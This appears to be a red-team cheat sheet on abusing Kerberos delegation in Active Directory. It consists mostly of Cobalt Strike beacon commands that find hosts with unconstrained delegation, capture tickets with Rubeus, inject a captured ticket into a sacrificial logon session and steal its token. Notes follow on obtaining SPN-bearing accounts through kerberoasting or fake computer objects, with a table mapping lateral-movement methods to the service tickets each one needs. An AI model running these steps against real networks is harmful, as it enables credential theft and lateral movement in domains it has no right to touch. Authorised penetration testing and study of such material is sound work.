Kerberos
Unconstrained Delegation
# Find unconstrained delegation
beacon> ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samaccountname
# Use rubeus for monitoring
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /nowrap
# Kill rubeus once done
beacon> jobs
beacon> jobkill $NUMBER
# Inject in sacrificial login
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:dyork /password:FakePass /ticket:[TICKET]
# Now steal token from the session
beacon> steal_token $PID
beacon> run klist
# Cleanup
beacon> rev2self
beacon> kill $PIDConstrained Delegation
Resource Based Constrained Delegation
All delegations, whether it be unconstrained, constrained, or resource-based, can only be configured on accounts that have an SPN.
Other computer accounts can be used if you have elevated privileges to SYSTEM anywhere, as every computer has a default set of SPNs such as HOST, RestrictedKrbHost, TERMSRV, and WSMAN.
Service accounts can be used if you have obtained their credentials through an attack such as kerberoasting.
If you don't have any of the above, a last ditch attempt can be to add your own computer object to the domain. Tools such as StandIn can create these fake computer objects via LDAP.
SMB
Access the remote filesystem. View, list, upload, & delete files.
CIFS
PsExec
Run a binary via the Service Control Manager.
CIFS
WinRM
Windows Remote Management.
HTTP
WMI
Execute applications on the remote target (e.g., process call create).
RPCSS, HOST, RestrictedKrbHost
RDP
Remote Desktop Protocol.
TERMSRV, HOST
MSSQL
MS SQL Databases.
MSSQLSvc
Last updated